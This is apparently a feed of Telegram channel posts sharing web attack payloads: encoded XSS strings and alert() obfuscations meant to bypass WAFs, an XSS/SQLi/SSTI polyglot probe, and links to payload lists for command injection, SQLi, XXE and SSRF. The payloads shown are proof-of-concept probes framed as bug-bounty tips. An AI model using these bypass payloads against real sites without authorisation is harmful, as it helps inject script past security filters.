Web_Priv8

Payload XSS for WAF bypass

<svg onload="[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162'] ('\141\154\145\162\164\50\61\51')()">

<svg onload=&#97&#108&#101&#114&#116(1)>

#XSS
#Payload
#OBF
#WAF
#Bypass

@web_priv8

1.0K viewsr00t98, edited 16:28

Web_Priv8

لیستی از پیلود های آسیب پذیری Command Injection بر بستر سیستم عامل های مختلف.

https://github.com/payloadbox/command-injection-payload-list/blob/master/README.md

#Commandi
#Payload

@web_priv8

GitHub

command-injection-payload-list/README.md at master · payloadbox/command-injection-payload-list

🎯 Command Injection Payload List. Contribute to payloadbox/command-injection-payload-list development by creating an account on GitHub.

478 viewsr00t98, edited 22:59

Web_Priv8

alert Obfuscation for XSS

(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top[8680439..toString(30)](1)

#XSS
#Payload
#OBF
#WAF
#Bypass

@web_priv8

679 viewsr00t98, edited 18:42

Web_Priv8

Payload for test XSS , SQLI , SSTI vulnerabilities.

'"><svg/onload=alert()>{{7*7}}

https://twitter.com/hakluke/status/1199184082745229312

#Payload
#XSS
#SQLI
#SSTI
#BugBountyTip

@web_priv8

Twitter

Luke Stephens (hakluke)

If I want to quickly, manually spray an application input, I use this payload: '"><svg/onload=alert()>{{7*7}} It's fairly short, and will give indicators of basic SQLi, XSS and SSTI vulnerabilities. Disclaimer: This isn't a replacement for proper testing.

577 viewsr00t98, edited 06:29

Web_Priv8

اگه میخواید لیستی از انواع تکنینک های تزریق SQL ، ابزار ها ، پیلود ها و درآخر منابعی برای یادگیری داشته باشید لینک زیر کمکتون میکنه.

https://medium.com/@ismailtasdelen/sql-injection-payload-list-b97656cfd66b

#SQLi
#Payload

@web_priv8

939 viewsr00t98, edited 16:15

Web_Priv8

XML External Entity (XXE) Injection Payload List

https://medium.com/@ismailtasdelen/xml-external-entity-xxe-injection-payload-list-937d33e5e116

#XXE
#Payload

@web_priv8

335 viewsr00t98, edited 10:05

Web_Priv8

Command Injection payloads

https://medium.com/@pravinponnusamy/remote-code-execution-payloads-429c92fdbdc4

#RCE
#Commandi
#Payload

#web_priv8

Medium

Command Injection payloads

Unix :

334 viewsr00t98, 15:21

Web_Priv8

SSRF payloads

https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4

#SSRF
#Payload

@web_priv8